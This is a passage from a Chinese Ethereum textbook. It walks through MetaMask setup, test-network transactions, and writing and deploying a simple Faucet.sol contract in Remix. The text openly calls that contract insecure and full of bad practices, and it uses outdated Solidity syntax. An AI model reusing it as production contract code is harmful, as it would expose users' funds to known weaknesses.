·公共区块浏览器是一种独立查看交易是否已被网络接受的简单方法。但是，这种便利性会对你的隐私产生负面影响，因为你把地址透露给了区块浏览器，这可能导致你被追踪到。

·不要给这本书上的任何地址发送数字货币。这些地址的私钥已经在书中公开，会有人立刻把你转入的资金取走。

我们已经讨论了私钥管理和安全实践的基本概念，现在，让我们来尝试使用MetaMask吧！




MetaMask入门



打开Google Chrome浏览器，访问
https://chrome.google.com/webstore/category/extensions

 。

搜索“MetaMask”并点击返回结果中带有狐狸标志的那一个。你会看到如图2-1所示的页面。




图2-1：MetaMask Chrome扩展的安装页面

你需要确保自己安装的是正确的MetaMask，有些人会发布模仿的MetaMask插件，并在其中设置恶意功能。“正版”MetaMask具有如下特征：

·在浏览器地址中显示的插件ID是nkbihfbeogaeaoehlefnkodbefgpgknn

·由
https://metamask.io

 发布

·有超过1400个用户评论

·有超过1000000个用户

在“验明正身”之后，点击“Add to Chrome”进行安装。



创建钱包



MetaMask安装完成后，你会在浏览器的工具栏上看到一个新图标（一只狐狸的头像）。点击这个图标就能开始使用MetaMask了。你需要先阅读和接受用户使用协议，然后输入密码来创建新的以太坊钱包（图2-2）。




图2-2：MetaMask Chrome扩展的密码页面


 　这个密码用来控制对MetaMask软件的使用，例如当他人使用你的电脑时，需要知道密码才能对MetaMask进行操作。

设定密码后，MetaMask会为你生成一个钱包，并且显示包含了12个英文单词的助记词（图2-3）。这些助记词可用在所有的兼容钱包上以进行钱包恢复。如果你的MetaMask甚至是你的电脑出问题了，只需要这12个单词就可以完成钱包恢复，不需要之前设定的密码。




图2-3：由MetaMask生成的钱包助记词


 　把这12个助记词备份在两张纸上。把这两张纸放置在相隔较远的两个位置，例如防火的保险柜、上锁的抽屉或者安全的保管箱。这两张纸的价值等同于你在以太坊钱包内保存的数字货币的价值。如果他人获得了这12个词，就可以窃取你的数字货币。

在你确定已经正确保存了助记词之后，MetaMask会显示你的以太坊账户细节（图2-4）。

你的账户页面会显示账户名称（默认是Account 1）、账户的以太坊地址（例如0x9E713...）和一个彩色图标（用于在多个账户之间进行区分）。在账户页面的顶端，你会看到当前钱包软件连接的以太坊网络（示例中是“Main Network”）。




图2-4：你在MetaMask中的以太坊账户

恭喜！你已经安装完成了第一个以太坊钱包！



切换网络



如同在MetaMask账户页面看到的，你可以在以太坊的多个网络之间进行切换。默认情况下，MetaMask会尝试连接到主网络。另外的几个网络包括公开的测试网络、用户自己选择的以太坊节点，或者运行在本机之上的私有以太坊区块链：


以太坊主网


以太坊的主网络，完全公开，承载了真实的以太币，以及真实的价值和交易。


Ropsten测试网络


以太坊的公开测试区块链网络，在这个网络上的以太币没有任何价值。


Kovan测试网络


以太坊的公开测试区块链网络，使用Aura协议和权威证明（PoA federated signing）方式的共识机制。在这个网络上的以太币没有任何价值。只有Parity客户端支持这个测试网络。其他的以太坊客户端在权威证明时使用稍后提到的Clique协议。


Rinkeby测试网络


另一个以太坊的公开测试区块链网络，使用Clique协议和权威证明（PoA federated signing）方式的共识机制。在这个网络上的以太币没有任何价值。


Localhost 8545


通过浏览器连接到本机上运行的以太坊节点。这个节点可以是以太坊公共区块链（无论是主网还是测试网络）的一部分，也可以是一个完全私有的测试网络。


自定义RPC


允许把MetaMask连接到任何一个兼容Geth PRC接口的节点。这个节点可以是公开或者私有的区块链的一部分。


 　MetaMask会在你所连接的所有网络上使用相同的私钥和以太币地址。在每一个网络上，你的以太币账户中的余额是不同的。与之对应，你的私钥可以操作Ropsten测试网络上的资产和合约，但并不意味之这个私钥可以在主网上做同样的事情。



获得测试以太币



我们的当务之急是设法给钱包“充值”。我们不会在以太坊的主网络上做这件事，因为真实的以太币需要花钱购买，而且这也需要一定的经验才能顺利和安全地完成。目前阶段，我们使用来自测试网络的以太币进行实验。

把MetaMask的网络切换到Ropsten Test Network，然后点击“Buy”，再点击“Ropsten Test Faucet”，MetaMask就会打开一个新的网页（图2-5）。




图2-5：MetaMask Ropsten Test Faucet

你会注意到这个页面已经自动包含了你的MetaMask钱包地址。MetaMask会跟包含以太坊信息的页面自动集成。MetaMask会获取页面上的以太坊地址，这样就允许用户完成诸如在线商店的付款等操作。MetaMask也会把用户的以太坊地址提供给页面上的程序，当页面上的程序需要支付时，作为对应的收款地址。在这个页面上，Faucet
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 应用需要MetaMask提供一个地址来发送测试以太币。

点击“request 1 ether from faucet”按钮，你会在页面底部看到一个交易ID。这个应用已经创建了一笔支付到你的地址的交易。交易的ID是类似这样的一串数据：






0x7c7ad5aaea6474adccf6f5c5d6abed11b70a350fbc6f9590109e099568090c57







几秒钟之后，这笔交易会被Ropsten测试网络上的矿工打包，你的MetaMask钱包会显示出一个以太币的余额。点击交易ID，浏览器会打开一个区块浏览器页面，在这个页面上可以查看和浏览区块的内容、地址和交易。MetaMask使用Etherscan（
https://etherscan.io

 ）这个区块浏览器应用，这是所有区块浏览器中最流行的。我们这笔支付的交易如图2-6所示。




图2-6：Etherscan Ropsten区块浏览器

这笔交易已经被记录到Ropsten的区块链上，可以在任何时间被任何人所查看，只需要简单地提供交易ID，或者访问如下链接：
https://ropsten.etherscan.io/tx/0x7c7ad5aaea6474adccf6f5c5d6abed11b70a350fbc6f9590109e099568090c57

 。

尝试访问这个链接，或者在
https://ropsten.etherscan.io

 网站输入交易的哈希值。



从MetaMask发送以太币



从Ropsten Test Faucet中收取第一个测试以太币之后，我们来尝试发送一个以太币。我们来试试看给Faucet的地址发回一个以太币。你可以在Ropsten Test Faucet页面上看到给Faucet“捐赠”一个以太币的选项。这个选项是让人们把做实验之后剩余的以太币发回给Faucet，这样其他人就可以继续使用这些测试以太币。尽管测试以太币毫无价值，可仍旧有人抓住不放，这就让其余人很难从网络中获取测试用的以太币，这样的做法真是令人皱眉。

幸运的是，我们并不是那些愿意持有测试币的人。点击“1 ether”按钮，令MetaMask创建一个给Faucet支付一个以太币的交易。MetaMask会构建一个交易，然后弹出确认窗口，如图2-7所示。




图2-7：向Faucet发送一个以太币

你可能已经注意到了，这笔交易无法完成。MetaMask显示“Insufficient balance for transaction”。这看上去很令人费解：我们的账户里有一个以太币，现在希望发出一个以太币，为什么MetaMask会说账户余额不足？

答案是gas。每一笔以太坊交易都需要支付手续费，这些手续费支付给负责验证交易的矿工。在以太坊中，这类手续费通过一种被称为gas的虚拟货币进行收取，你得使用以太币来支付gas，作为交易的一部分。


 　即使是测试网络，也仍旧需要支付手续费。如果没有手续费，测试网络的行为就会跟主网络不一致，这也就失去了测试网络存在的意义。手续费也保护了测试网络免受DDoS或者恶意交易（例如包含死循环的合约）的攻击，就像手续费在主网络中起到的作用一样。

当你发送交易时，MetaMask计算出最近成功的交易平均手续费是每个gas等于3 gwei，即3 gigawei。wei是以太币的最小计量单位，我们在之前讨论过。发送一笔普通交易需要21000个gas。因此，你需要支付的手续费是21000×3 gwei=63000 gwei=0.000063 ETH。（请注意，gas的平均价格是由矿工决定的，因此它们可能会出现涨落波动。我们会在稍后的章节中介绍如何增减gas的上限，以确保需要时你的交易可以获得优先权。）

这也就意味着：为了完成一个以太币的转账，你需要至少1.000063 ETH。在交易显示的过程中，MetaMask会把这个数字取整到1 ETH，但实际上你需要的却是1.000063 ETH，而你账户里只有1 ETH。此时，请点击“REJECT”来取消交易。

我们来获取更多的测试币吧。再次点击“request 1 ether from the faucet”按钮，稍等几秒钟。不用担心，这个Faucet里有足够的测试币，你尽可放心申请。

当你的余额是2 ETH时，我们再次尝试。点击“1 ether”捐赠按钮，你已经有足够的余额来完成这笔交易了。当MetaMask弹出付款确认窗口时，点击“SUBMIT”按钮。在这之后，你的账户余额为0.999937 ETH，因为你给Faucet支付了1 ETH，并且支付了0.000063 ETH作为gas开销。



查阅地址的交易记录



现在，你已经成为使用MetaMask发送和接收测试以太币的专家了。你的钱包至少完成了两笔收款和一笔付款操作。我们来看看这些交易，使用
https://ropsten.etherscan.io

 区块浏览器。你可以把钱包地址复制到区块浏览器的搜索框，或者让MetaMask直接打开对应的页面。在MetaMask的账户图标附近，你会看到一个由三个点构成的按钮。点击这个按钮，会显示一系列跟账户有关的操作选项（图2-8）。




图2-8：MetaMask的账户上下文菜单

选择“View account on Etherscan”，在网页中打开区块浏览器，显示你这个账户的交易历史（图2-9）。




图2-9：Etherscan显示的地址交易历史记录

在这里你会看到当前地址的所有交易历史。它显示了记录在Ropsten测试区块链上的交易记录，你的地址作为接收方或者发送方。点击其中的交易记录，可以查看更加详细的信息。

你可以查看任何地址的交易历史。试试看浏览Ropsten Test Faucet应用的地址（提示：这个地址就是你最初获取一个以太币那笔交易中的sender地址）。你可以看到从Faucet中送出到其他地址的所有以太币。每一个地址都会引导你查询更多的其他地址和交易。你很快就会在这一大堆杂乱的数据中迷失方向。公共区块链包含了大量的转账交易信息，所有这些信息都可以用编程的方式查阅和分析，后面会看到类似的例子。
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 在英文中，Faucet是水龙头的意思，这里表示获取测试以太币的工具。Faucet在本书的例子中大量使用，为了保持与代码的一致，这个词保留英文，不做翻译。




世界计算机简介



我们已经安装了钱包软件，并且完成了以太币的接收和发送。目前为止，我们把以太坊作为一种数字货币，但是以太坊要比数字货币的范围大得多。数字货币这个功能，只是以太坊作为去中心化智能合约平台这台世界计算机的功能中的一小部分。设计以太币是用来支付智能合约的，智能合约是运行在以太坊虚拟机（EVM）之上的计算机程序。

EVM是一个全局性的单体，这意味着它是一个无处不在的、全局唯一的单体计算机。以太坊网络的每一个节点都运行着EVM的本地副本，用于验证合约的执行，以太坊区块链则记录了这台世界计算机在处理交易和智能合约时所发生的所有状态的更改。我们会在第13章重点讨论EVM。




外部账户和合约账户



在MetaMask钱包中创建的账户类型称为外部账户（EOA）。外部账户是拥有私钥的账户，拥有私钥意味着控制对以太币或合约的访问。现在，你可能猜测还有其他类型的账户。另一种账户是合约账户。合约账户具有智能合约代码，而外部账户不具有。此外，合约账户没有私钥。相反，它由其智能合约代码的逻辑所拥有（并受其控制）。智能合约代码是在合约账户创建时由以太坊区块链记录的软件程序，由EVM执行。

合约具有地址，就像外部账户一样。合约也可以发送和接收以太币。但是，当交易目标是合约地址时，它会导致该合同在EVM中运行，使用交易和交易的数据作为其输入。除了以太币之外，交易还可以包含指示合约中要运行的特定函数以及要传递给该函数参数的数据。通过这种方式，交易可以调用合约中的函数。

请注意，由于合约账户没有私钥，因此无法启动交易。只有外部账户才能启动交易，但合约可以通过调用其他合约，构建复杂的执行路径来对交易做出反应。这种情况的一个典型用途是外部账户向多重签名智能合约钱包发送请求交易，将一些以太币发送到另一个地址。典型的DApp编程模式是让合约A调用合约B，以便在合约A的用户之间维持共享状态。

在之后的几节，我们会编写第一个合约。我们通过MetaMask钱包来创建、充值和使用这个合约，并且在Ropsten测试网络上运行。




一个简单的智能合约：Faucet



以太坊支持多种高级编程语言，所有这些语言都可以用来编写智能合约并生成对应的EVM字节码。你可以在本书的后续内容中逐渐熟悉这些优秀且有趣的编程语言。到目前为止智能合约编程方面的一种流行的高级语言是Solidity。Solidity由本书的作者之一Gavin Wood博士创立，是在以太坊领域应用最广的编程语言。我们将使用Solidity来编写第一个智能合约。

对于第一个例子（代码2-1），我们会编写一个合约来控制测试币的发放。我们已经通过Faucet程序在Ropsten测试网络获得了测试用的以太币。Faucet是一个非常简单的东西：它向任何提出申请的地址发送测试以太币，并且会定期被充满
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 。你可以通过一个由人类或网络服务器控制的钱包来实现Faucet的功能。


代码2-1：Faucet.sol:用Solidity智能合约实现测试币的发放







1 // Our first contract is a faucet!



2 contract Faucet {



3 



4     // Give out ether to anyone who asks



5     function withdraw(uint withdraw_amount) public {



6 



7         // Limit withdrawal amount



8         require(withdraw_amount <= 100000000000000000);



9 



10         // Send the amount to the address that requested it



11         msg.sender.transfer(withdraw_amount);



12     }



13 



14     // Accept any incoming amount



15     function () public payable {}



16 



17 }








 　你可以在本书的GitHub代码仓库（
https://github.com/ethereumbook/ethereumbook

 ）中找到本书的所有示例代码。Faucet.sol的代码位于code/Solidity/Faucet.sol路径下。

这是一个非常简单的合约，是我们能够编写的最简单的合约了。但这也是一个漏洞百出的合约，包括一堆不良的编程习惯和安全漏洞。我们会在稍后的章节分析这些问题。但是现在，让我们来逐行分析这个合约的工作方式。你很快会发现Solidity跟现有的编程语言有很多相似之处，例如JavaScript、Java或C++。

第一行是注释：






// Our first contract is a faucet!







注释是供人类阅读的，不会被包括在EVM的字节码中。我们通常把注释放在需要解释的代码之前，有时也会放在代码的同一行。注释由两个斜线开始，斜线之后的内容，直到这一行结束，都被视为空行，并且会被编译器忽略。

第二行是实际合约代码的开始：






contract Faucet {







这一行声明了一个contract对象，类似于其他面向对象编程语言中声明的class。合约的定义包括花括号{}之间的所有行，这是一个定义域，类似其他编程语言中使用的花括号。

接着，我们声明了Faucet合约的第一个函数：






function withdraw(uint withdraw_amount) public {







这个函数的名称是withdraw，它接收一个名为withdraw_amount、类型为无符号整型（uint）的参数。这个函数被声明为公开函数，这意味着它可以被其他合约调用。这个函数的定义在接下来的花括号之间。首先是设定提币的上限：






require(withdraw_amount <= 100000000000000000);







它使用内置的Solidity函数require来测试一个前提条件，即withdraw_amount小于或等于100000000000000000 wei，这是以太币的基本单位（见表2-1），相当于0.1 ether。如果使用大于该数量的withdraw_amount调用withdraw函数，则此处的require函数将导致合约执行停止并因异常而失败。请注意，语句在Solidity中需要以分号结束。

这部分合约代码是测试币发放合约的主要逻辑。它通过设定每次提币的上限来控制合约支付的数量。这是一个非常简单的控制，但是可以为你勾勒出大概的印象：可编程区块链的威力在于可以用去中心化的软件来控制资产！

接下来是实际的提币行为：






msg.sender.transfer(withdraw_amount);







这里有几件有趣的事情。msg对象是一个所有合约都可以访问的输入，它代表触发这个合约执行的交易。sender属性就是发起这个交易的发起方地址。transfer函数是一个内置的函数，用来把以太币从合约转账到调用这个合约的交易地址。反过来看，这就是说将以太币转给触发这个合约执行的交易消息的发送地址。transfer函数只接收一个数额参数。我们把之前定义的withdraw_amount这个变量的值作为参数传递给withdraw函数。

紧接着的花括号意味着withdraw方法定义的结束。

接着我们又定义了一个函数：






function () public payable {}







这个函数称为回退函数或默认函数，它会在一些特殊的情况下被调用，比如触发这个合约的交易没有指定调用哪一个具体函数，或者合约本身没有定义任何函数，再或者交易没有包含任何数据。合约可以有一个这样的默认函数（没有名字），通常也使用这个函数来接收以太币。这也是为什么这个函数的定义包含public和payable属性，这意味着这个合约可以接收以太币。如函数声明的空花括号所显示的，除了接收以太币，这个合约什么也不会做。如果我们发起一个针对合约地址的交易，就像是把合约地址当作钱包使用，这个函数就会处理。

接着默认函数的是一个花括号，它代表整个合约定义的结束。就是这么简单！
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 听上去就像是摇钱树或者聚宝盆。




编译Faucet合约



我们已经完成了第一个合约，现在需要使用Solidity编译器把Solidity代码转化为EVM字节码，这样它才能够被区块链上的EVM所执行。

Solidity的编译器是一个独立的可执行程序，通常包含在各类编程框架之中，也会集成在一些IDE中。为了简单起见，我们使用Remix这个流行的IDE。

打开安装了MetaMask插件的Chrome浏览器，访问Remix IDE的网址
https://remix.ethereum.org

 。

第一次加载Remix时，它会显示一个名为ballot.sol的演示性合约。我们不需要这个合约，可以关闭页面。点击页面边角上的×按钮（图2-10）。




图2-10：关闭默认示例标签页

现在，我们通过点击工具栏左侧的加号按钮（图2-11）添加一个新的标签页，把新的文件命名为Faucet.sol。




图2-11：点击“加号”图标打开新的标签页

打开新的标签页后，我们把Faucet.sol的代码复制过来，如图2-12所示。




图2-12：把Faucet代码复制到新的标签页中

现在我们已经在Remix IDE中加载了Faucet.sol合约，IDE会自动编译这些代码。如果一切正常，你将看到一个带有“Faucet”字样的区域，在编译页面的下方，这意味着编译已经成功（图2-13）。




图2-13：Remix成功编译了Faucet.sol合约

如果出现了问题，最有可能的情况就是Remix IDE使用的Solidity编译器不满足0.4.19版本的要求。代码中的兼容性编译指令会阻止编译。为了改变编译器的版本，在“Settings”标签页选择编译器的版本为0.4.19，然后重试即可。

Solidity编译器现在已经把Faucet.sol合约代码编译成EVM字节码。如果你好奇，可以看看字节码的具体内容：






PUSH1 0x60 PUSH1 0x40 MSTORE CALLVALUE ISZERO PUSH2 0xF JUMPI PUSH1 0x0 DUP1



REVERT JUMPDEST PUSH1 0xE5 DUP1 PUSH2 0x1D PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN



STOP PUSH1 0x60 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH1 0x3F JUMPI



PUSH1 0x0 CALLDATALOAD PUSH29



0x100000000000000000000000000000000000000000000000000000000



SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x2E1A7D4D EQ PUSH1 0x41 JUMPI



JUMPDEST STOP JUMPDEST CALLVALUE ISZERO PUSH1 0x4B JUMPI PUSH1 0x0 DUP1 REVERT



JUMPDEST PUSH1 0x5F PUSH1 0x4 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1



SWAP2 SWAP1 POP POP PUSH1 0x61 JUMP JUMPDEST STOP JUMPDEST PUSH8



0x16345785D8A0000 DUP2 GT ISZERO ISZERO ISZERO PUSH1 0x77 JUMPI PUSH1 0x0 DUP1



REVERT JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND



PUSH2 0x8FC DUP3 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1



0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO



ISZERO PUSH1 0xB6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP STOP LOG1 PUSH6



0x627A7A723058 KECCAK256 PUSH9 0x13D1EA839A4438EF75 GASLIMIT CALLVALUE LOG4 0x5f



PUSH24 0x7541F409787592C988A079407FB28B4AD00029000000000







你肯定暗自庆幸不需要直接使用这些EVM字节码进行编程，而是可以选用Solidity这样的高级编程语言！我对此也颇有同感！




在区块链上创建合约



我们已经有了一个合约，并且把它编译成了字节码。现在需要把这个合约“注册”到以太坊区块链上。我们还是使用Ropsten测试网络来测试合约，因此Ropsten就是我们需要注册合约的目标。

把合约注册到区块链上需要通过一个特殊的交易，这个交易的目标地址是0x0000000000000000000000000000000000000000，也被称为零地址。这是一个特殊的地址，用来告诉以太坊区块链用户希望通过这样的交易来注册合约。幸运的是，Remix IDE为你处理了所有这些细节，并且把生成的交易发送给MetaMask。

首先，切换到“Run”标签页，在“Environment”下拉菜单中，选择“Injected Web3”。这会建立起Remix IDE和MetaMask钱包之间的连接，并且进而通过MetaMask连接到Ropsten测试网络。在完成这个设定之后，你会在“Environment”一栏中看到Ropsten字样。同样，在账户选择的输入框中出现了你的MetaMask钱包地址（图2-14）。




图2-14：选中Injected Web3后的Remix IDE界面

在确定了“Run”的设定之后，我们在下方看到的是Faucet合约已经准备就绪，点击“Deploy”按钮。

Remix IDE会构建一个特殊的“creation”交易，然后MetaMask会请求你的批准（图2-15）。如你在MetaMask中看到的，这个合约创建的交易并没有包含以太币，它只有258字节（经过编译后的合约），这个交易的gas需要10 gwei。点击“SUBMIT”来批准这个交易（在区块链上注册合约）。

现在稍等15~30秒，这个交易就会被Ropsten网络上的矿工确认。Remix IDE也无法加速这个过程，我们只能耐心等待。

当合约被创建后，在Run标签页底部会出现一些有关的信息（图2-16）。




图2-15：MetaMask实现合约创建交易




图2-16：Faucet合约已经正式启动

请注意，Faucet合约现在有一个属于它自己的地址，Remix中显示为“Faucet at 0x72e....c7829”（由于地址的不同，这些随机字母和数字也会不同）。右侧的小剪贴板图标允许你把合约地址复制到剪贴板，我们稍后就会用到这个合约地址。




与合约进行交互



我们来总结一下目前学到的内容：以太坊合约是用来控制以太币的程序，它运行在名为EVM的虚拟机之内。合约由特殊的交易创建，这个过程就是把合约的字节码保存到区块链上。在区块链上完成创建以后，合约会有一个以太坊地址，就如同钱包一样。任何时候，如果有人向这个合约地址发送交易，都会触发合约在EVM中被执行。这个交易本身，就是程序执行的输入参数。发送给合约的交易可以包括以太币或者数据，也可以同时包括这两者。如果交易包含以太币，就等于把以太币存入了合约的账户。如果交易包含数据，这个数据用来指定合约的具体函数并通过传递参数来调用它。



在区块浏览器中查看合约地址



现在我们已经有一个记录在区块链上的合约了，可以通过地址来查看它。我们在
https://ropsten.etherscan.io

 这个区块浏览器上一探究竟。点击剪贴板的图标来复制合约地址（图2-17）。




图2-17：从Remix复制合约的地址

保持Remix窗口打开，我们稍后还会用到。现在，用浏览器打开
https://ropsten.etherscan.io

 ，在搜索框复制合约的地址。你会看到合约的历史（图2-18）。




图2-18：在Etherscan区块浏览器中查看Faucet合约的地址



向合约充值



目前为止，这个合约只有一笔交易历史：它自己的合约创建交易。如你所见，这个合约也没有任何以太币（余额为零）。这是因为我们没有在创建合约的交易中包含任何以太币。

让我们向这个合约发送一些以太币。你的剪贴板中应该仍旧保留着合约地址（如果没有，就从Remix再复制一遍）。打开MetaMask，跟其他的转账操作一样，发送1 ether到合约地址（图2-19）。

很快，如果你刷新Etherscan区块浏览器，会在合约地址下看到一条新的交易，并且账户余额更新为1 ether了。




图2-19：向合约地址发送一个以太币

还记得在Faucet.sol代码中那个没有名称、只有public和payable的默认函数吗？我们来看看这个：






function () public payable {}







当你发给合约地址一个交易时，如果没有指明具体调用合约的哪一个函数，它就会调用默认函数。因为我们在声明函数时添加了payable属性，这个函数就可以接收以太币并且把币存入合约余额。这个交易触发合约在EVM上被执行，并更新余额。这样我们就完成了充值！



从合约提币



接着，我们试试从合约中提取以太币。为了提币，我们需要构建一个调用withdraw函数的交易，并且传递withdraw_amount作为参数。为了简单起见，可以使用Remix构建这个交易，然后用MetaMask发送并取得我们的批准。

返回Remix界面，在Run标签页找到合约。你会看到图2-20所示区域，标示为withdraw并带有字段输入标记uint256 withdraw_amount。




图2-20：在Remix中查看Faucet.sol的withdraw函数

这是合约在Remix中的界面。它允许我们构建一个交易，用来调用合约中定义的函数。我们输入一个withdraw_amount值，然后点击“withdraw”按钮来生成这笔交易。

首先，我们来看看withdraw_amount这个参数。我们尝试从合约提取0.1 ETH，这是合约所允许提取的最大限额。还记得以太坊内部所有的币值单位都应该使用wei来表示吧？因此，withdraw_amount参数也必须使用wei的格式。这里的0.1 ETH，对应的就是100000000000000000 wei。


 　由于JavaScript的限制，大于10
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 的数值无法在Remix中处理。因此，我们使用双引号把它引起来，让Remix把它当作字符串形态的BigNumber来处理。如果不加引号，Remix IDE就无法处理，会显示“Error encoding arguments:Error:Assertion failed”。

在标记为withdraw_amount的框中输入带有引号的"100000000000000000"，然后点击“withdraw”按钮（图2-21）。




图2-21：在Remix中点击“withdraw”创建一个提币交易

MetaMask会弹出一个交易窗口请求你的确认，点击“SUBMIT”就可以对合约发出提币的调用了（图2-22）。




图2-22：调用withdraw函数的MetaMask交易

稍等片刻，刷新Etherscan区块浏览器，可以看到这笔交易已经在合约的历史中反映出来了（图2-23）。




图2-23：Etherscan显示交易调用了合约的withdraw函数

我们可以看到这笔交易是以合约作为地址，并且没有包含任何以太币。支出0.1 ETH之后，合约的余额已经变为0.9 ETH。但是很奇怪，我们没有看到一个“对外支付”的交易显示在合约地址历史记录中。

这个对外支付的交易在哪里？合约地址历史记录页面中会出现一个新的区域，名为“Internal Transactions”。因为这0.1 ETH的转账是由合约发起的，所以这类交易被称为内部交易（也称为消息）。点击“Internal Transactions”标签可看到内部交易（图2-24）。




图2-24：Etherscan显示把以太币从合约转出的内部交易

“内部交易”是由合约中的以下代码行发起的（Faucet.sol中的withdraw函数）：






msg.sender.transfer(withdraw_amount);







总结一下：我们从MetaMask钱包发出了一个针对合约的withdraw函数的调用，调用中包含了值为0.1 ETH的withdraw_amount参数。这个交易导致合约在EVM中被执行。在EVM执行Faucet合约的withdraw函数时，它首先调用require来检验我们的参数是否满足要求（小于等于0.1 ETH）。接着调用transfer函数发送以太币。运行transfer会生成一个内部交易，把0.1 ETH保存到调用方的钱包中。这些就是在Etherscan的“Internal Transactions”标签面上所显示的信息。




总结



在本章，我们安装了一个MetaMask钱包，使用Ropsten测试网络的工具对钱包进行了充值。我们通过钱包的以太坊地址收到了以太币。接着我们把以太币发回给了测试网络。

接下来，我们使用Solidity编写了一个Faucet合约，并使用Remix IDE把合约编译为EVM字节码。我们使用Remix构建一个交易，然后把这个合约注册到Ropsten测试区块链网络。在注册完成后，这个合约就拥有了一个以太坊地址，我们可以向这个地址发送以太币。最终，我们构建了一个针对withdraw函数的调用，并且成功地提取了0.1 ETH。合约在检查了我们的请求后，使用内部交易向我们的调用地址发回了0.1 ETH。

这看上去似乎挺简单，我们刚才所做的就是在一个去中心化的世界计算机上用软件成功地实现数字货币的转账操作。

我们会在第7章中涉及更多有关合约编程的内容，在第9章介绍编程的最佳实践和各种安全考量。




第3章　以太坊客户端



以太坊客户端也是一种软件应用程序，它实现了以太坊协议规范，并通过点对点网络与其他以太坊客户端通信。如果遵从以太坊的参考规范并采用标准的通信协议，不同的以太坊客户端之间是可以实现交互的。尽管这些客户端是由不同的开发团队开发的，使用的编程语言也不尽相同，但是它们都遵从相同的协议和规则。因此，它们可以在相同的以太坊网络上实现操作和交互。

以太坊是一个开源项目，它采用LGPL v3.0等协议开源所有主要客户端的源代码，可以免费下载，免费用于任何目的。开源的意义并不仅限于免费使用，这也意味着以太坊是由一个志愿者组成的社区所开发的，任何人都可以提交自己的修改。更多的独立评估也就意味着代码更可信赖。

以太坊由被称为“黄皮书”的正式协议规范所定义（参见第1章的“扩展阅读”一节）。

相比之下，比特币则没有任何正式的定义规范文档。比特币的标准来自于Bitcoin Core这个参考实现的代码，而以太坊的协议规范是由一篇包含文字和数学公式的论文所定义的。这个标准协议，加之若干以太坊改进提案，定义了以太坊客户端的标准行为。黄皮书也会定期修订，以体现以太坊的主要升级。

拥有标准协议的好处是存在多个独立开发但又可以互相交互的以太坊客户端。以太坊网络所运行的客户端的多样性比任何其他区块链都多，这也普遍被认为是一个优点。实际上，拥有多个独立开发的客户端，已被证明是防御网络攻击的绝佳方法，因为特定客户端实现策略的漏洞只会影响到那些要修补漏洞的开发者，别的客户端可以保证整个网络几乎不受影响地继续运行。




以太坊网络



现在已经有了多个在很大程度上符合以太坊“黄皮书”定义的标准的网络，至于彼此间能否互操作则不必然。

这些基于以太坊的网络包括以太坊（Ethereum）、以太坊经典（Ethereum Classic）、Ella、Expanse、Ubiq、Musicoin，等等。虽然它们大多数在协议层是相互兼容的，但往往有一些特别的功能或属性，需要支持相关网络的节点运营者手动对以太坊客户端软件做出调整。也正因此，不是每一个版本的以太坊客户端软件都可以运行所有基于以太坊的区块链。

当前，以太坊协议有六种主要实现，它们分别是用六种不同的语言写成的：

·Parity，Rust

·Geth，Go

·cpp-ethereum，C++

·pyethereum，Python

·Mantis，Scala

·Harmony，Java

在这一章，我们会介绍Parity和Geth这两个最流行的客户端。我们会尝试用这两个客户端分别建立以太坊节点，了解它们的命令行和API细节。



是否应该运行全功能节点？



以太坊网络的健康、弹性和防审查机制来源于大量独立运行和地理上分散的全功能节点。每一个全功能节点可以帮助其他新加入网络的节点获取开始运行所需要的区块数据，全功能节点的另一个重要任务是为用户提供独立和权威的交易及合约验证。

然而，运行一个全功能节点需要消耗大量的硬件资源和网络带宽。全功能节点必须下载大约80~100GB的区块数据（截至2018年9月）并保存在本地硬盘上。随着新的交易和区块的出现，以太坊区块数据每天都在快速增长。关于这方面的更多细节，可以看本章后面“全功能节点的硬件需求”这一节。

进行以太坊开发工作并不是一定需要在以太坊主网上运行一个全功能节点。你可以使用测试网络上的节点完成几乎所有开发相关的工作，测试网络上的节点将帮助你连接到一个更小的公共测试区块链。测试网络使用本地环境下的私有区块链（如Ganache），或者使用基于云平台的以太坊客户端，例如服务提供商Infura提供的服务。

你也可以运行一个仅从远程调用以太坊的客户端，就是说，不在本地保存区块链数据，也不参与区块和交易验证。这样的客户端提供钱包功能，也可以创建并广播交易。远程客户端可以连接到现有的网络中，比如你自己的全功能节点、公有链、公有或需要许可（PoA）的测试链、私有本地区块链等。实际上，人们经常使用MetaMask、Emerald Wallet、MyEtherWallet或MyCrypto这样的远程客户端在多个不同的网络之间进行切换。

尽管有一些微小的差别，但“远程客户端”和“钱包”这两个术语在以太坊的语境下是可以换用的。相比于钱包软件，远程客户端的区别在于它会对外提供API（例如web3.js API）。

不要把以太坊远程钱包的概念与“轻客户端”的概念弄混（后者类似于比特币网络中的简单支付验证，也就是SPV节点）。轻客户端通过验证区块头和Merkle proofs来验证交易是否存在于区块中并确认这些交易的有效性，这种验证过程给了它们可以媲美全功能节点的安全性。相反，远程客户端通常不会验证区块头或交易，它们会完全信任帮助它们连接区块链的全功能节点，因此也丧失了安全性和匿名性。你可以自己运行一个全功能节点来解决这些问题。



全功能节点的好处和弊端



选择运行全功能节点会给以太坊网络带来帮助，但也会带来相应的成本。我们来看看与之有关的好处和弊端。

好处：

·为以太坊的可扩展性和防审查机制提供更强的支持。

·可信地验证所有交易。

·可以跟以太坊主网上的所有合约进行交互，并不需要任何中间角色。

·可以在以太坊主网上直接部署合约，并不需要任何中间角色。

·可以在需要时离线查询（只读形式）区块链的状态，例如账户、合约等。

弊端：

·需要显著并且是不断增长的硬件和带宽资源。

·需要数小时甚至是数天时间才能完成区块链数据的同步。

·必须持续地维护、升级、保持节点在线才能保证区块链数据的同步。



公共测试网络的好处和弊端



无论是否决定运行全功能节点，都应该考虑在公共测试网络上运行节点。我们来看看使用公共测试网络的好处和弊端。

好处：

·测试网络节点只需要同步和保存大约10 GB的区块链数据（截至2018年4月）。

·测试网络节点的区块数据同步只需要数小时就能完成。

·在测试网络上部署合约或发起交易所需要的以太币是没有成本的，这类测试以太币可以从多个渠道免费获得。

·测试网络是一个包含众多其他用户和合约的正在实际运行的公共区块链。

